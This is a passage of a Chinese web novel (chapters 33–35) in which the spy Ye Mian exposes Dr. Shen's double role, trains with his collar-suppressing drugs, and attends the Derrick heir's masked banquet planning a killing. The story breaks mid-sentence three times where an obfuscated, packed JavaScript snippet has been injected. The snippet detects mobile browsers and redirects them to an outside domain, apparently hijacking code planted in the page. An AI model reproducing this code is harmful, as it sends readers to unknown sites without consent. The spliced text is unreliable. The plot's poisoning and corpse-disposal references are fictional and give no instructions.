就现在这个武力值,陆风只要动异能,杀她分分钟的事情,如果沈医生的研究进度不够她自保,难道还得找法蒙求援? 想到这,叶眠心里又骂一遍:他有病吧? 沈舒白连熬几个大夜,兢兢业业地配药剂,昨夜刚做出试验版,此刻面无表情地把注射器塞她手里:“去里面。” 叶眠往里看了看,表情有些惊讶:“是去小沈医生的卧室吗?” 沈舒白内心:宿舍,谢谢。 但叶眠这句话的意味,怎么听怎么怪,他用迟缓的大脑分析了一下,不知道分析到哪了,耳尖竟然带了点红。 叶眠:? “半小时后我要抽你的血做检验,”他清了清嗓子,“你东西要得急,我们只能跳过临床直接上实战。” “行,”叶眠抬脚走进,“我信小沈医生不会害我。” 我要是害你就不会当时救你了。沈舒白想。 叶眠礼貌地坐在椅子上没碰床,注射液推进手臂,她才想起来忘了问这是哪个功能的。 算了,反正都差不多。 她看了眼没有动静的外间,果断拉开桌子抽屉,开始寻找。 这可是陆风的个人医生,他的卧室指不定能有点什么有用的资料,倒手卖给法蒙,说不定等陆风对自己痛下杀手的时候还能有点底气。 沈舒白在实验台前空白地坐了一会儿,突然想起来最好让叶眠直接试试异能。 于是他推门而入,就看到叶眠手里拿着那个叶绵绵送来的吊坠,写着“谢谢”的字条也重见天日,稳妥地放在桌面上。 沈舒白:?!?!?! 叶眠语气有点微妙:“小沈医生,你跟叶绵绵……也有一段吗?” 沈舒白矢口否认:“不要血口喷人!” “你别误会,失忆之后,自我认知一直不太对,”叶眠一脸若有所思,抬手在终端上写下两个字,调向展示给沈舒白,“虽然我不认为自己是叶绵绵,但我的笔迹、身手,这些都跟她一模一样,你有什么头绪吗?” 终端上的“谢”,跟纸条上的“谢”,别无二致。 “如果不是叶绵绵,那你是谁?”沈舒白稍微冷静了一些,就事论事地问。 “叶眠。”叶眠说着,耸了耸肩。 “抱歉,”沈舒白控制住呼吸,尽力维持平静,“我并不知道你遭遇了什么导致性情大变,所以无能为力……” “等等等等,先别急着撇清关系,我还有一个发现,沈医生,”叶眠眼里冒出一些笑意,她是真地觉得有意思极了,“你的笔迹,很眼熟。” 桌子上放着一些他的手稿,电光石火间,沈舒白想通了一切。 “你的笔迹,跟我在监狱里收到的一张字条,也有点像呢。”叶眠放下吊坠,语气轻慢。 ——她刚醒来的时候,袖子里那张提醒她联系法蒙的纸条。 沈舒白心想,毁了。 “所以,你真的不知道我在监狱经历了什么吗?”叶眠摸了摸自己完好的后脑勺,“我现在该叫你,小沈医生,还是沈医生,或者同事哥?” 她好整以暇地看着沈舒白脸色变换,心里都有点替他崩溃了。 掉马这事来得猝不及防,她没想到,沈舒白更没想到,因为最近太忙疏忽了细节,以前埋下的隐患冷不丁就这么爆炸了。 沈舒白搓了搓自己的脸,脑子里还在紧密地搜索有什么借口和理由,想到她要的药剂,想到她的双面间谍身份,明明把柄还有不少,但看着叶眠满脸得意却没什么算计,他突然决定,算了。 “好吧,好吧,”沈舒白摆烂一样地摊开手,表情也松弛下来,“想怎么叫都可以,如果你认那份救命之恩,就别把我捅上去,毕竟我这么多年也不容易。” “嗯哼哼,”叶眠又笑,“所以我问你哪个老大,还真是问哪个老大。” 沈舒白瞟她小人得志的模样,叹了一声:“是啊,被发现了。” 等了等,两人大眼瞪小眼,都没有进一步的反应了。 真是出乎意料,沈医生好说话得紧,叶眠试探性地问:“那你在他俩手里,有什么把柄吗?” 沈舒白摘了眼镜,干脆往床上一坐,长腿岔开,姿态也放松下来:“我跟你不一样,我是良禽择木而栖,贤臣择主而事。” “脚踩两条船,”叶眠点点头,“所以你更看好谁?” “这问题也太敏感了,”沈舒白表情古怪,最后懒得纠正她的评价,只诚恳地说,“实话,都不看好。” 叶眠两手一拍:“其实我也是。” 沈舒白:? 叶眠真诚地说:“你对他俩不是真心的,我也不是真心的,所以其实,我们才是一条船上的人啊!” ——未来女帝伸出了她的第二根橄榄枝。 但沈舒白明显不如胖子好糊弄,他莫名其妙地看她一眼:“什么船不船的,你都说我脚踩两条船了,还要我踩三条吗?” “哎,话不是这么说的,”叶眠摆手,“万一哪天我飞黄腾达,拳打陆风脚踢法蒙,你跟着我干,我直接给你记头功。” 沈舒白死亡凝视半晌,冒出来一句:“那你先飞黄腾达了再说吧。除了神经兴奋程度提高,还有什么别的感觉吗?” “什么什么感觉?”叶眠没跟上他的思路。 沈舒白叹气:“你刚刚打的药,是暂时解除异能环效用的,现在有什么不好的感觉吗?” 他说完,叶眠才意识到,自己确实有点不同寻常的兴奋了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123067|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细地审视了一下全身上下,说:“有点像醉氧的感觉。” ——就像喝酒喝高了一样,有点晕晕乎乎,还容易兴奋。 沈舒白记下这条,说:“你试试异能,药效半小时,现在还剩一刻钟。” 叶眠伸手,滞涩地调动异能,冰锥缓慢成型,最终停在了少一半锥尖的形态。 两人看着这把半成品冰锥,像是在研究什么稀世珍宝一样。 “A级异能为什么会这么弱,”沈舒白不可思议地说,“我以为A级攻击异能都是分分钟秒杀敌人的。” “换陆风活着法蒙的话,差不多。”感受着冰锥在手中融化的速度,叶眠心想不止数量,质量也不行,温度比梦里凝出的深蓝色冰高太多了。 “我的话,现在确实不行,需要你研发出来针对异能抵抗的药。”叶眠捧着自己的异能产物,真诚地看向沈舒白,却见他稍微推开了一点她的胳膊,表情抗拒。 “离我床远点,滴上了。” 叶眠一手水,滴滴答答的,她恶从胆边生,信手一甩,沈舒白眼疾手快地用袖子一挡,结果还是沾到一些。 叶眠看他实在好欺负,忍不住又想笑,一边好奇地问:“你当时为什么要救我?暗恋叶绵绵吗?” 沈舒白袖子后面露出一张惊恐的脸:“开什么星系玩笑,我只是觉得她有点可怜。” “为感情付出生命是最没意思的死法了,”叶眠点头,“我会记得你的救命之恩的,沈医生。” 沈舒白还愣着,叶眠把化了大半的冰锥“当啷”一声扔进垃圾桶,“等会儿我再试一次,沈医生,我未来的自由和幸福都托付给你了啊。” 沈舒白:啊?? 叶眠醉氧的状态一直没过,思路跳脱到让人应付不来,沈舒白好说歹说把她劝住,抽了血放进检测仪,她又不知道从哪摸出来那个叶绵绵送的吊坠,表情有些邪恶。 “姐,叶女士,叶眠,”沈舒白感觉有点心梗,“您还要怎么样?” 叶眠说:“这个给我。” 沈舒白屈服了:“别让陆风看见。” 叶眠笑吟吟地把东西收了起来:“等你把两种药都做好,姐给你送点更好的。” 沈舒白心道咱俩谁大谁小,叫你声姐还真把自己当姐了,面上却一副忠厚老实的表情,手下操作不停:“那姐有钱吗?姐还欠我两千什么时候还?” “同为间谍,资金周转不易,懂得都懂啊,”叶眠岔开话题,“我看这机器不错,能卖不少吧,哈哈。” 沈舒白无奈地笑了下,由她去了。 - 晚上,陆风就看叶眠拿着一个挂坠,抛起接住,一脸思索之意。 “最近跟小沈走得很近?”他状似无心地问。 “噢,还行,”叶眠坦荡荡地说,“确实多聊了几句,他说你室内戴墨镜还是有装x地成分在。” 陆风莞尔:“只是作为保险,毕竟你之前也把这个当作情趣。” “什么情趣?”叶眠接住吊坠,饶有兴趣地问。 陆风没想到她还要追问,脱衣服的动作一顿。 “呃,看我流眼泪?”他说。 叶眠摸了摸下巴:“你别说,我跟叶绵绵还真是有点像的哈。” 男人的眼泪最棒了好吗! 陆风沉默半晌,又把话题拐了回来:“所以,怎么把之前送给小沈的吊坠拿回来了?” 叶眠无所谓地说:“想拿就拿了呗,改天再送他一个别的。” 她试探着陆风的底线,展示出来的自我越来越多越来越真,而对方的容忍程度似乎也越来越高,这让她由衷地想送陆风和叶绵绵一句歌词。 ——“等不到的永远在骚动,被偏爱的都有恃无恐”。 而陆风,看着叶眠满不在乎的眼睛,心中有种荒唐的感觉。 叶绵绵像他手里的风筝,只要扯一扯,拽一拽,风筝就会逆着风,飞回他的手里。而现在面对叶眠,却像是风筝线断在云里,他手中留着一根线,却不知那头还拴着什么。 风筝,还是他的风筝吗? 33. 第 33 章 【晚宴前第七天】 叶眠并不在乎陆风到底拿了什么身份,她把沈舒白当陪练,紧急投入到了磨合药效的训练中。 她刻苦得毫不掩饰,沈舒白担心她这种把药当饭吃的做法会给身体造成太大压力。 他话说完,叶眠并没有第一时间给出反应。她指缝浮现冰条,手腕发力一甩,只听连续“笃笃”声后,那些冰条一齐扎进了沙袋。 沈舒白背后发凉,不知道是不是错觉,刚被某种杀意波及了一下。 那看似普通的冰条,实则是一把把无柄的小刀,叶眠给这一招起名为——小叶飞刀。 “别担心,你可以抽我的血验一验,”六把小刀就已经是极限,她走上前观察杀伤效果,眼神完全没落在沈舒白身上,“我的抗药性虽然不知道怎么练的,但防御强得离谱。” 沈舒白没懂:“什么?” 叶眠笑了笑:“你可以理解为,我五毒不侵。” 她从兜里拿出几个瓶瓶罐罐:“前阵子搞了几种药吃着玩,结果一点反应没有。” 沈舒白一脸“你在说什么”地接过来,翻了翻标签,心中大写三个字——好家伙! 沙砾7号,祛辐射的跃迁必备药物,副作用是24小时上吐下泻。 霓星SH,实时类抗生素,药效48h,持续期间服用者会眼白充血,部分人会流鼻血。 全位素稳定液,用于机体紧急补能,但会导致血管膨大组织肿胀。 他迷茫地问:“一点反应都没有?” “嗯哼,”叶眠挥挥手,冰刀加速溶解成水,“我挑这几种药,市面上买得到、副作用都不小,只要摄入量正常就一点反应没有。” 沈舒白捏着几个瓶子喃喃地说:“那还得给你加大药效了。” 叶眠点头:“下猛药就行。” 沈舒白犹豫了一下问:“你这么着急,是想干什么?” “法蒙约了我去参加德里克继承人的公开晚宴。”叶眠轻飘飘地说,余光关注着他的反应。 沈舒白从茫然到震惊:“法蒙?还是陆风?” “法蒙啊。”叶眠又想笑。 “法蒙?”沈舒白再次确认了一遍,“法蒙约你,德里克家族的晚宴?女伴吗?” “你也知道了吧,他是德里克家族那个继承人,”叶眠耸肩,“早说他背后有家族,你还不信。” 沈舒白抹了把脸:“我不知道。最近在给你造特效药,没怎么跟他联系。” 叶眠理亏:“噢,那你现在知道了。” 槽多无口,沈舒白甚至没想吐槽法蒙隐瞒身份的事情,纳闷地问:“他为什么不找下属?他找你?这种场合,女伴这个身份受到的关注太多了,你并不合适啊。” “两个解释,一,他不舍得下属冒险,”叶眠感觉自己异能恢复得差不多了,准备开始下一轮练习,“二,他喜欢我。” 沈舒白一脸便秘之色:“你,唉,算了。” 叶眠失笑,小叶飞刀再次出手,一回头就看他半崩不崩地抱着她的药,神思恍惚地走了。 他今天没问出来叶眠着急忙慌训练的目的,叶眠倒是记挂着给他发消息。 遇到困难睡大觉:“同事哥,我测体质的药瓶子们,拿走了记得给我报销噢~” 白干全白干:“。” 白干全白干:“还能再抠一点吗?” 叶眠乐不可支,抽了一支新的降低禁制环作用的药液给自己打上,反手一看,注射器上贴的标签,龙飞凤舞地写着三个字“减效药”。 小沈医生字真不错。叶眠想。 【晚宴前第六天】 “这是减效药3.0,大概能缩短三分钟起效,”沈舒白说,“三分钟不多,但把假醉的效果降低了。” “行。”叶眠把注射液推进手臂,深吸一口气。 手指微紧,大概十分钟后,她睁眼:“起效了。” 沈舒白也有点紧张:“能用几成异能?” 六把小叶飞刀出现,叶眠说:“跟昨天一样的。冰锥搞不出来,只能扔小刀。” 以叶眠的力度,扔飞刀杀个没什么战斗能力的普通人很轻松,但她明显不满意。 “陆风给你设置的任务目标吗?”沈舒白问,“还是你自己想杀?” “陆风不知道咱俩偷偷搞在一起,我在他心里还是个带着环的弃子呢。”叶眠说。 沈舒白眼皮一跳:“什么叫搞在一起。” 叶眠飞刀一扔,说:“差点忘了,我这个女伴不能给法蒙丢人,那法蒙的下属,阿不,同袍,沈医生当然有责任参与训练。” 沈舒白瞪眼:“我?我干什么?跳舞?” “嗯哼,这里又没别人。” 因为担心陆风去训练场逮自己,叶眠在沈舒白的研究室专门圈了一块地,这里是整个基地里为数不多没有陆风监控的地方。 沈舒白还愣着,叶眠已经攥住他的手放到自己腰间。隔着一层医疗,手指;接触的细腻热度从表皮一路渗进大脑,沈舒白仿佛受到什么刺激一样略微站直了一点。 “这不合适。”轻若蚊蝇。 他略微低头,看叶眠垂着眼睛专心回忆舞蹈动作,嘴里已经开始轻轻地打拍子,明显视他负隅顽抗为无物。 既然对方不接话,他也不好再说什么,只能自我安慰:我是沙包,我是道具,我是陪训,这很正常。 小沈医生动作硬梆梆的,身体也硬梆梆的,交握的手指骨头硌人,但另一只手却只礼貌地悬着,除了她把人扯过来的那一下,根本没碰到她。 啧,正人君子。 “这不就搞在一起了?”叶眠轻笑一声,只看沈舒白半边耳朵发红,眼神里充满了无奈和控诉。 一舞毕,他逃也似地抱着空注射器走了。 【晚宴前第五天】 因为她的要求,沈舒白放下了异能抵抗药,全身心地投入到了“能瞒着姐姐实验室解放抵消禁制环效果”的减效药研制的过程中。 长期异能抵抗——冰冻三尺,非一日之寒。 禁制环减效药——箭在弦上,不得不发。 沈舒白拿着减效药5.0不撒手,在他锲而不舍地追问下,叶眠终于透露了一点。 “我要杀德里克家族的人,”她一边给自己扎针一边说,“如果要杀的是法蒙,你还会帮我吗?” 沈舒白沉默了一会儿,口吻客观地说:“不是我帮不帮你,而是你能不能做掉他的问题。” “他异能是非常稳定扎实的A级,金属控制。发现你异常的第一时间,只要手指一钩,”他指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174257|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了指叶眠的脖子,“那个东西就能立刻变成实心的,把你脑袋切下来。” “他太强了,所以我没想杀他,”叶眠装模作样地叹了口气,“跟德里克家族的人有点旧仇。” “你最好不是,”沈舒白捏了捏眉心,“别让我给你收尸。” “我的命是沈医生救的,自然是沈医生说的算,”叶眠扭着上前半步,纤纤手指点到沈舒白领口的扣子,“让沈医生担心了~” “假醉的效果要想办法消掉,”沈舒白认真记录,“你这个状态实在是太危险了。” 此人看似心如止水,实际上几笔之后就僵在原地,不知道该怎么做了。叶眠就那么含笑地看着他,看的他耳尖发红,欲言又止,最后终端一扔,跑了。 跑能跑哪去?这里一共就这么大点。 叶眠看他躲进卧室甚至锁了门,“桀桀桀”笑得像个反派。 【晚宴前第四天】 陆风问她最近在干嘛,叶眠说在找小沈练异能。 “为什么?” 叶眠对他倒是没什么保留,毕竟法蒙是敌对势力,她卖个乖也是顺手:“我想杀法蒙。” ——然后获得自由。 “为什么这么着急?” 叶眠靠在床头,比趴着的陆风略高一些,她顺手抓了抓他的狗头,干燥的发丝从指缝划过。 “我看他不爽。”她温柔地说。 ——快给我过度解读!我是为了你涉险的!不要怀疑!就是这样! 陆风不知道中了什么邪,竟然乖顺地蹭了蹭她的手,然后僵住,四目相对,寂静无言。 叶眠:…… 陆风:…… 陆风果断翻身扯起被子:“睡觉。” 叶眠……感觉自己实在是很有一套。 【晚宴前第三天】 沈舒白的胡茬都冒出来了,有气无力地给她两管药:“7.1和7.2,你试试哪个效果更好?” “有什么区别?”叶眠睡得神清气爽,梦里摸了几把男人肌肉,像是吸了精气一样状态正好。 “你之前说,吃药副作用都很轻微,所以这两版我放任了有效成分冲突,正面药效会更好,但副作用也会更大。” 叶眠眨眨眼,沈舒白又补充:“不是假醉。” 他犹豫了一下,又拿出两瓶撕了标签的粉末。 “要杀就做干净点,溶尸粉和迷药,嗯,就是你想的那种东西,”他把两个瓶子放到叶眠手中,“异能者犯罪逃脱率确实大,但你上次杀人就被抓了,最好还是小心点。” 叶眠看这瓶子眼熟,问:“这不是沙砾和霓星吗?” “对啊,我直接用你的瓶子装了,”沈舒白说,“市面上不卖这些,黑市又太危险,我干脆自己配了点。” 叶眠比了个大拇指:“小沈医生,神。” 7.1下肚,叶眠开始流鼻涕。 7.2下肚,叶眠扔了十二柄飞刀,然后小拇指抽了半个小时。 她问沈舒白:“你一开始的设计(擤鼻子)就是,是这样的吗?” 沈舒白觉得她有点惨,但又有些好笑,最后还是没忍住,别过脸清了清嗓子才说:“7.1正常人用,大概会流眼泪流口水流鼻涕,7.2的话是全身痉挛,你,哈哈哈哈哈。” 34. 第 34 章 陆风并不知道叶眠也要去继承礼晚宴,当天早上出门的时候,还跟赖床的人说了声今天可能回来很晚。 叶眠幽幽地探出半个脑袋:“你昨晚是不是钻我被窝了。” 陆风若无其事地转身就走,叶眠在后面控诉:“睡得太热了!你绝对钻我被窝了!” 陆指挥心情很好地离开了基地,浑然不知晚上会受到怎样的冲击。 叶眠中午上了刘仁的车,随身携带的小包里装着她的减效药。 “刘先生,晚宴是在德里克的府邸上进行吗?”她问。 “不是的,”刘仁顿了顿,觉得透露一些也无妨,公事公办地解释,“为了防止特殊情况出现,继承礼是在德里克控制的星舰结构上进行。” 空中游艇,懂了。 叶眠收声,手指摩挲着针管,心想那可得提前规划好暗杀结束的逃跑路线。 下午的行程安排很紧,礼服还要微调,假发到位得晚了点,于是几个设计师一边比量着她的数据,一边对着头皮的青茬长吁短叹。 墨绿色的裙子像是山涧深潭,在灯下反射出星芒般的亮光。裙撑不算大,但与收腰的流线连接顺畅,衬得人高挑而冷淡。 叶眠站在镜子前,一回头就对上几位设计师满意的眼神,她冷静地吸了口气:“腰有点紧,中午吃多了。” 一句话打碎美女滤镜,叶眠:我是专业的。 假面搭配的孔雀翎,她特意强调:“挂绳一定要紧一点,最好有激烈动作也不会掉的那种。” 设计师不敢问是什么激烈动作,只是看起来更长吁短叹了几分。 假发是黑到看不出绿的长发,发型师看她脑壳形状圆润,紧紧地挽了个低丸子,因为听说了她对假面的要求,特意邀功:“保证你打架头型都不会乱的,女士。” 叶眠头皮发痛,眉梢眼角都被扯着向后,几乎做不出什么大表情:“谢谢你啊。” 刘仁来接她的时候也是露出一些惊艳之色:“墨绿色很称叶小姐。” 叶眠绷着脸:“其实我觉得荧光绿更衬。” 刘仁不敢说话了,只专心开车,前往德里克的私人航空港。 路上,叶眠拆出腿环,一根一根把注射器塞了进去。 刘仁没看到,只在下车时提醒她:“包不能带,会有安检。” 叶眠幽幽地说:“好,但是我带着禁制环,是不是得把头也砍下来?” 刘仁觉得,叶眠有时候说的话他实在接不上。 * 叶眠端住了美丽废物的气场,跟着刘仁从私人通道来到空港的休息室。 “一会儿会有人来接你,”刘仁看了眼时间,“我还要回去加班,就不陪叶小姐等了。” 叶眠依然绷着脸:“辛苦。” 她半低着头,百般无赖地玩着黑绿假面等了十几分钟,突然听到了法蒙的声音:“抬头,我看看。” “哟,典狱长亲自来接我,”叶眠掀起眼皮,看向一身同样墨绿正装的法蒙,“受宠若惊啊。” 在深绿的衣料和发色衬托下,叶眠露在外面的肩膀与脖颈几乎白到发光。她仰着一张素白的脸,唇色却是一抹浓重惊人的深红,仿佛纸上的一道血痕,艳丽夺目。 法蒙眼神深得仿佛要吃人,叶眠几乎以为他要夸赞一下她的盛世美颜了,却听他用那副低沉的嗓子,克制地说:“红配绿能搭成这样,难为他们了。” 叶眠想翻白眼,被兜头的外套裹住。 西装三件套的上衣到了她身上,法蒙只穿马甲衬衣,宽肩窄腰,身姿依然挺拔。 叶眠眨眼,在心里感慨人和人就是不一样,有些人穿马甲像侍应生,但有些人一看就不是服务别人的料。 法蒙也不知道自己心脏为什么跳成这个鬼样子,他面不改色地伸出手让叶眠挽住:“走吧。你跟着我,不用过安检。” 叶眠从短暂的色迷心窍中挣脱出来,眉眼弯弯,一只手拿着那张假面,一只手搭上他的臂弯。 坐小型飞艇上星舰的路上,叶眠饶有兴趣地站在窗前,肩上披着法蒙的衣服。 法蒙站在她半步身后,没有收敛自己仿佛要把人拆吞入腹的目光。 “如芒刺背啊,典狱长。”她偏过头,笑他。 法蒙眯了眯眼睛,呼出一口气:“等反抗军倒台,来给我做事吧。” 只是做事吗?叶眠的眼神与他一触即离,不知是谁偏开视线,是谁心跳加快。 “星舰武器都拆除了,防卫队的星船会在附近巡逻,”法蒙沉声说,似乎并不理解这些话有多煞风景,“没有接到反抗军有动作的通知,但如果在这里逮到陆风,我不会让他轻易逃走。” 叶眠心跳慢了半拍。 “嗯……”她在法蒙冷然的视线中沉吟半晌,“行,需要我怎么配合吗?” 法蒙要杀陆风怎么办? 又不是杀她,她还得怎么办?上三炷香吗? 法蒙贴近半步,低着头看她:“这次不给他打掩护了?” 叶眠笑说:“权宜之计罢了,典狱长还吃他的飞醋吗?” 不知道哪个字戳到了他的肺管子,法蒙表情晦暗地退回到沙发上。 “到时候我要跟你跳第一支舞,不要让我找不着女伴。” 他不再隐瞒自己继承人的身份,双腿交叠,抛弃了作为军人的纪律性,反而显露出一种随意的野性。 “嗯。”叶眠心想这腿真长啊,别开眼睛看向舷窗外。 一上星舰,两人就带起了假面,法蒙低声说:“你自己四处转转,记得,八点要到穹顶大厅。” 叶眠伸手给他紧了紧假面系带,认真地说:“既然决定是假面舞会,就保护好你的面具。” 法蒙沉沉地笑了一声,推她一把,若有所指地说:“你的权限跟我持平,哪里都能进,去玩吧。” 这并不是一场特别正式的舞会,流程定得很随性,也不要求大家都把脸遮得严严实实。 巨大的战争机器被改装成娱乐场所,宽阔的甲板上有各种花里胡哨的投影,以及服务生的餐车。 ……餐车? 叶眠挪不动腿了:来都来了。 等她真拿上纸杯蛋糕了,却又有些投鼠忌器起来。 叶眠愁容满面地想,这裙子腰太紧,她饿了一下午才舒服点,要是吃进肚子,万一给撑裂了怎么办? 孔雀一样华丽美好的女人捧着纸杯蛋糕的模样,落在有心人眼里就成了西子捂心一般的场景。 李东垣看得差点痴了,却听调酒的侍应生问:“先生,你的花花公子。” “哦,再调一杯SexontheBeach,”李东垣舔了舔嘴唇,“弄漂亮点,甜一点,我要送给那边的美女。” “那边的美女”叹了口气,心想我得吃一口,歇会儿,再吃一口,再歇会儿。 李东垣端着酒杯过来了,叶眠刚吃下一口蛋糕,还在细细品味丝滑奶油与绵软戚风。 甲板的侍应生穿着统一的蓝色马甲,带着蓝色的半脸面具,叶眠全当他是游走的侍应生,在李东垣开口前,亲切地说:“我不喝,谢谢,辛苦了。” 李东垣脑子还没转过来,就听叶眠继续说:“今晚挺累的吧?我帮你挡着,性感沙滩就当请你喝了。” 李东垣总算是理解了,他面色一沉,叶眠却已经尽职尽责地当起了遮挡物:“快喝啊。” 她眼疾手快地拿起花花公子浅尝一口,露出个难以忍受的表情:“酒感太重,唉,不如小甜水。” 李东垣瞠目结舌,扭头看向调酒师的小车,却见那边已经站了两圈人,再去点恐怕要耽误不少时间。 他低头看了看自己蓝色的马甲和臂弯里的西装,在美女“好心”的注视下,忍气吞声地喝下了那杯齁甜的粉色小甜水。 等他喝完,叶眠还贴心地从旁边抽了个托盘,把只喝了一口的矮方杯放上,然后一起递给他:“送回去吧,用托盘好拿一些。” 她施施然走了,李东垣却差点气炸了。 这个死女人,绝对知道他不是服务生,故意折辱人! 孔雀女是吧,他满心阴邪地想,我记住你了。 叶眠进了塔楼,顺手拿了一杯威士忌纯饮装样子。 她走到三楼的外平台,垂着眼看下面明显余怒未消的男人,心道:唉,好心被当驴肝肺,不是爱小甜水儿吗?多喝点啊。 星舰的塔楼大得惊人。一层是穹顶大厅也是舞厅,二层是餐厅,三层是休息室,四层是私人会客厅。 三层的走廊九曲十八弯,叶眠绕了两圈,心中稍微有数。会客厅分内外两间,十几个德里克都在,反而是三层这一间一间的休息室好操作些。 她看了眼手里的威士忌,开始思考下药让法蒙喝下去的可能性。 他会信任自己到这个程度吗? ——可以自己先喝一口,搞点情趣。 在他出手前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218323|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有把握将他秒杀吗? ——有风险,但值得一试。 出手后,多久会被保卫人员发现? ——我大概率会受伤,最好主动报警。 用什么口供? ——有杀手翻窗跑了,而我异能被锁,绝对无害。 星舰会不会更改航线? ——可能会,可能不会。不重要。 逃生靠什么? ——混入疏散人群。 叶眠慢条斯理地想着,又溜回了四楼。 她决定跳舞后动手。 刚刚还在的几个德里克送法蒙去了,叶眠大摇大摆地走进了内会客厅。 四层的外平台挂了锁,她在甲板上就看中了这个平台,从上往下视野很好,人工种植的作物也适合躲藏。 叶眠站到平台玻璃门口,掀起裙子,给自己打了一针。静等几分钟后,她单手握锁,用了一式她刚练到半成的异能。 “绝对零度。”她轻声念出了技能名字。 闭锁系统嵌在门里且24h联网,外显的认证部分只有巴掌大,她没法一口气把整个系统搞坏。 缜密的电子锁在无孔不入的低温中,内在一线悄然改变了颜色——叶眠不需要他整个掉下来,她只需要门锁关节零件掉链子。 “咔嚓。” 轻不可闻的一声传进叶眠耳朵,她勾起唇角,心中一哂:这招梦里练过很多次,但没敢在沈医生眼前用,因为杀伤有点惊人,没想到现实一次就成功了。 下一秒,异能透支的虚脱和神经刺痛一齐涌上,叶眠脸色一变,满脑子[*星际粗口*]。 现实中异能透支怎么这么恐怖! 她撑着最后一口气推开玻璃门躲进外平台,把门严丝合缝地关上后,有段时间完全失去了意识,颓靡地倒在地上。 重新醒来的时候,眼前所有东西都像蒙上了一层黄色滤镜,她揉了揉眼睛,还是看不清楚。 叶眠镇定地想:有点像低血糖。 看了眼时间,其实只过去几十秒,但她感觉自己像是死了一回一样。 好恐怖,叶眠在心中咋舌,还好没摔到。 她理了理裙摆,从腿环上解下窃听器听筒,顶着满眼通黄的视野,淡定地开始偷听里面的脚步和说话声。 “都走了?” “嗯。” “真是条养不熟的狗!” “消消气,好歹答应了回来做事。” “你听他放的狗屁了吗?他要先整改那个破监狱!我让他当典狱长是为了让他当典狱长的吗!” 叶眠想笑,无奈地摇了摇头。 “早晚做完的,现在所有人都知道德里克后继有人,他去做那些吃力不讨好的事情,又不跟参军有我们撑腰一样,很快就会知错了。” “唉,倒也是。” 一阵杯具相碰的清脆声音,然后是液体流淌的哗啦声,两位老人的声音听起来安然了不少。 “你知道汤姆森手下不太干净吧?” “不止知道,我还听说他准备对法蒙下手。” “也是个猪脑子,”老年男性的声音一停,他叹了口气,“用什么计策不好,他要给法蒙送女人,怕自己死得不够快吗。” 叶眠眼睛眯了一下,伸手拔了一根茎杆螺旋状的草。 “不止他,另外两个也在蠢蠢欲动。我倒是想看看,他们哪个能杀了法蒙。” “你不会真想……” “难道你不想吗?杀了他,就能直接回收安娜和艾文的旧部,那三个孩子,有你的亲孙子,我的亲孙女。旧部的势力给谁不好,他身在革命党,想要扭转他的心,不如直接夺他的权。” “……” “反正有安娜和艾文在先,我们也不是第一次做了。” 短暂迟疑后,老年男性问:“还能跟反抗军联系上吗?” 叶眠按捺住叼起那根怪草咬出汁子的冲动,心想今天是真听到了不得了的东西。 “不过,陆峰已经死了,他儿子能跟我们合作吗?” 叶眠听到这句,一愣,终于放下了她的草。 她有个新想法:与其杀了法蒙让这两个顽固派的老东西高兴,还不如让法蒙活着,漏点风声出来,看他们三方角逐。 制衡虽险,但可以小博大。 “唉,等明天吧。” 叶眠看了眼时间,快到八点半了,她得去跟那个倒霉孩子跳舞了。 35. 第 35 章 倒霉孩子·法蒙站在主席台下,看着两位爷奶辈的老德里克搀扶着走到台前,开始了他们冗长而无趣的演讲。 德里克百年兴衰,但那些,其实跟现人没有半个星币的关系。 舷窗外是墨蓝色的星空,法蒙看了一会儿,转回头来开始寻找那个墨绿色的女人。 等老爷子讲完,就轮到他致辞,他的致辞很短,讲完就要开第一支舞。 ——他没看到叶眠。 “有请德里克先生上台致辞。” 虽然没有指出具体名,但显然,所有人都明白这才是今晚的正题。涣散的注意力被抓回,他们交头接耳、四处张望,试图找出哪一位隐藏在他们中的人会上台领下这个名头。 法蒙稳稳地抬腿,走上了白色的旋转台阶。 他身高腿长,不论从哪个方向看都是一等一的人物,线条锋利的下巴露在假面之外,眼睛的形状被严丝合缝地卡死,假面贴紧发丝,平添几份神秘。 “我会把德里克带到一个更高更好的位置。” 是的,他只准备了一句话。 在晚宴开始前,他看着毫无心事的叶眠,把那些捣乱、败兴的话都收了起来,只剩这么一句。 因为他意识到,自己想跟叶眠顺利地跳下来一支舞,用这种半公开的方式,向所有人展示。 他说完就偏头,看向后面的大伯父。 卡门皱了皱眉头,一拍手,乐队简单对弦,随后奏起了音乐。这是多年前一位德里克音乐家写的舞曲,用在家族的舞会开场,也是刻意用心。 “去吧,由你来开第一支舞。”卡门尽量保持和蔼地说。 